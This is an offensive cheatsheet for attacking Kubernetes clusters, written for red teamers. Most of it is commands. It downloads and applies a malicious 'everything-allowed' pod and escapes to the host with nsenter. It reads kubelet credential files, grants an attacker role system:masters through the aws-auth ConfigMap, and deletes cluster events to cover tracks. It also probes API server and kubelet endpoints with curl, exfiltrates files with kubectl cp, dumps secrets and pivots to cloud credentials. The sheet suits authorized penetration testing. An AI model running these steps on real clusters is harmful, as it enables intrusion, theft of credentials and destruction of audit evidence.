

---

Project  
Red Team  
Leaders

---

# Kubernetes Exploitation Introduction - Cheatsheet #1

---

Joas A Santos

</in/joas-antonio-dos-santos/>

# Basic Enumeration

1. **kubectl config get-users:** List Kubernetes config users.
2. **kubectl config get-contexts:** List Kubernetes config contexts.
3. **kubectl config get-clusters:** List Kubernetes config clusters.
4. **kubectl auth can-i --list:** List all available Kubernetes authorization actions.
5. **kubectl get roles:** Get roles in the cluster.
6. **kubectl get clusterroles:** Get cluster roles in the cluster.
7. **kubectl get namespaces:** Get Kubernetes namespaces.
8. **kubectl get secrets -o yaml:** Get secrets in YAML format.
9. **kubectl get serviceaccounts:** Get Kubernetes service accounts.
10. **kubectl get deployments:** Get deployments in the cluster.
11. **kubectl get pods:** Get pods in the cluster.
12. **kubectl get services:** Get services in the cluster.
13. **kubectl get nodes:** Get nodes in the cluster.
14. **kubectl get daemonsets:** Get daemon sets in the cluster.
15. **kubectl get cronjobs:** Get cron jobs in the cluster.
16. **kubectl auth can-i list all:** Check if the current user can list all resources.

Enumeration is an important point for you to understand your user's privileges, collect environment secrets, services running in the kubernetes environment, daemonsets and cronjobs being executed, the number of namespaces and pods.

<https://github.com/CyberSecurityUP/k8senumeration>

# Pod Abuse and PrivEsc

**kubectl get pods > List all pods in namespace**

**wget**

**<https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml> > Download Pod Malicious**

**kubectl apply -f privesc.yaml > Created malicious pod**

**kubectl exec -token=\$token -it attacker-pod -- /bin/bash > Interact shell in Pod**

**nsenter --target 1 --mount --uts --ipc --net --pid -- bash > Escape Pod to Namespace**

# Kubeconfig

**The Kubelet service listening. Check config files:**

**Directory: /var/lib/kubelet/  
/var/lib/kubelet/kubeconfig  
/var/lib/kubelet/kubelet.conf  
/var/lib/kubelet/config.yaml  
/var/lib/kubelet/kubeadm-flags.env  
/etc/kubernetes/kubelet-kubeconfig**

**Other kubernetes common files:**

**\$HOME/.kube/config - User Config  
/etc/kubernetes/kubelet.conf- Regular Config  
/etc/kubernetes/bootstrap-kubelet.conf -  
Bootstrap Config  
/etc/kubernetes/manifests/etcd.yaml - etcd  
Configuration  
/etc/kubernetes/pki - Kubernetes Key**

**Find Node kubeconfig >  
ps -ef | grep kubelet**

**Check Kubelet Privileges >**

**kubectl --kubeconfig /var/lib/kubelet/kubeconfig  
auth can-i create pod -n kube-system**

# ConfigMap EKS

**configMap always contains a lot of information and configfile that provide to apps which run in the kubernetes. Usually You can find a lot of password, secrets, tokens which used to connecting and validating to other internal/external service.**

**kubectl get configmaps -n namespace**

**# Check if config map exists**

**get configmap aws-auth -n kube-system -o yaml**

**# Create donfig map is doesn't exist**

**## Using kubectl and the previous yaml**

**kubectl apply -f /tmp/aws-auth.yaml**

**## Using eksctl**

**eksctl create iamidentitymapping --cluster Testing  
--region us-east-1 --arn**

**arn:aws:iam::123456789098:role/SomeRoleTestNa  
me --group "system:masters" --no-duplicate-arns**

**# Modify it**

**kubectl edit -n kube-system configmap/aws-auth**

# Exec Container and RCE

pods/exec is a resource in kubernetes used for running commands in a shell inside a pod. This privilege is meant for administrators who want to access containers and run commands. It's just like creating a SSH session for the container.

```
kubectl exec -it <POD_NAME> -n <NAMESPACE> -  
- sh
```

## Kubelet RCE

<https://github.com/Sean-McRae/Kubernetes-Kubelet-RCE>

## CVE-2023-3676

<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-3676>

# Delete K8S Events

**Delete All Events:**  
**kubectl delete events --all**

**Collect events related to a specific resource:**

```
resource_name="<resource-name>"  
kubectl get events --field-selector involvedObject.name=$resource_name --output=json | \  
jq -r '.items[] | .metadata.name' > events_to_delete.txt
```

**Delete events based on collected names:**  
**cat events\_to\_delete.txt | xargs -l{} kubectl  
delete event {}**

**Deletes event based on Specific Names:**

**kubectl delete events --field-selector  
involvedObject.name=**<resource-name>****

# Create Sidecar Proxy

Here's a basic example of how you might define a pod with a sidecar proxy in a Kubernetes YAML file:

```
apiVersion: v1
kind: Pod
metadata:
  name: mypod
spec:
  containers:
    - name: myapp
      image: myapp-image:tag
      ports:
        - containerPort: 80
    - name: envoy-sidecar
      image: envoyproxy/envoy:latest
      ports:
        - containerPort: 8080
```

In this example, the mypod pod has two containers: myapp (the main application container) and envoy-sidecar (the Envoy sidecar proxy). Adjust the container images, ports, and other configurations based on your specific requirements.

<https://openziti.io/docs/guides/kubernetes/workload-tunneling/kubernetes-sidecar/>



# KUBE-API SERVER

Collect API Kubelet:  
kubectl cluster-info

Common ports: 6443 and 443, but also 8443 in minikube and 8080 as insecure.

curl -k https://<IP Address>:(8|6)443/swaggerapi

curl -k https://<IP Address>:(8|6)443/healthz

curl -k https://<IP Address>:(8|6)443/api/v1

curl -k https://<api-server-address>/api/v1/nodes

curl -k https://<api-server-

address>/api/v1/namespaces/default/pods

curl -k https://<api-server-

address>/api/v1/namespaces/default/pods/<pod-name>

curl -k -X DELETE https://<api-server-

address>/api/v1/namespaces/default/pods/<pod-name>

# KUBELET-API

List nodes you can get a list of kubelets endpoints with:

```
kubectl get nodes -o custom-columns="IP:.status.addresses[0].address,KUBELET_PORT:.status.demonEndpoints.kubeletEndpoint.Port" | grep -v KUBELET_PORT | while IFS=" " read -r node; do  
  ip=$(echo $node | awk '{print $1}')  
  port=$(echo $node | awk '{print $2}')  
  echo "curl -k --max-time 30 https://$ip:$port/pods"  
  echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd  
done
```

<https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services#kubelet-api-1>

**kubelet (Read only)**  
**curl -k https://<IP Address>:10255**  
**http://<external-IP>:10255/pods**

**The kubelet's API endpoints are typically located at http://<node-ip>:10255 or https://<node-ip>:10250.**

# Data Exfiltration in Kubernetes

To download a file from a pod using kubectl, you can use the kubectl cp command. Here's an example:

```
kubectl cp <namespace>/<pod-name>:<pod-path>/<file-name> <local-destination-path>
```

```
kubectl cp default/my-pod:/app/data.txt  
./data.txt
```

Make sure the pod has the necessary permissions to allow kubectl cp. Additionally, if the file is in a specific container within the pod, you can specify the container name with the --container flag:

```
kubectl cp default/my-pod:/app/data.txt  
./data.txt --container=my-container
```

# Secrets Dump

Secrets might be things like:

API, SSH Keys.

OAuth tokens.

Credentials, Passwords (plain text or  
b64 + encryption).

Information or comments.

Database connection code, strings... .

Built-in Type	Usage
<b>Opaque</b>	<b>arbitrary user-defined data (Default)</b>
kubernetes.io/service-account-token	service account token
kubernetes.io/dockercfg	serialized ~/.dockercfg file
kubernetes.io/dockerconfigjson	serialized ~/.docker/config.json file
kubernetes.io/basic-auth	credentials for basic authentication
kubernetes.io/ssh-auth	credentials for SSH authentication
kubernetes.io/tls	data for a TLS client or server
bootstrap.kubernetes.io/token	bootstrap token data

List All Secrets in a Namespace:

**kubectl get secrets --namespace=<namespace>**

List All Secrets in JSON File:

**kubectl get secrets --all-namespaces -o json | kubectl  
replace -f -**

Local System

**/run/secrets/kubernetes.io/serviceaccount**

**/var/run/secrets/kubernetes.io/serviceaccount**

**/secrets/kubernetes.io/serviceaccount**

# Pivoting to Cloud

## GCP

A common way to give access to a kubernetes application to GCP is to:

Create a GCP Service Account

Bind on it the desired permissions

Download a json key of the created SA

Mount it as a secret inside the pod

Set the `GOOGLE_APPLICATION_CREDENTIALS` environment variable pointing to the path where the json is.

## AWS

First of all you need to create an OIDC provider for the cluster. Then you create an IAM role with the permissions the SA will require. Create a trust relationship between the IAM role and the SA name (or the namespaces giving access to the role to all the SAs of the namespace). The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name. Finally, create a SA with an annotation indicating the ARN of the role, and the pods running with that SA will have access to the token of the role. The token is written inside a file and the path is specified in `AWS_WEB_IDENTITY_TOKEN_FILE` (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)

<https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds#workflow-of-iam-role-for-service-accounts->

# Extra Resource

[Threat Matrix for Kubernetes](#)

[Exploitation Kubernetes](#)

[Hacktricks Kubernetes Exploitation](#)

[Kubernetes PenTest Methodology](#)

[Kubernetes OWASP](#)

[Kubernetes Attack Path](#)

[Kubernetes PenTest](#)

[Kubernetes PenTest Process](#)

[Kubernetes Security Github](#)

[Kubernetes Enumeration](#)

[Container Security Checklist](#)

[Kdigger Tool](#)

[Trivy Tool](#)

[Kube-Hunter Tool](#)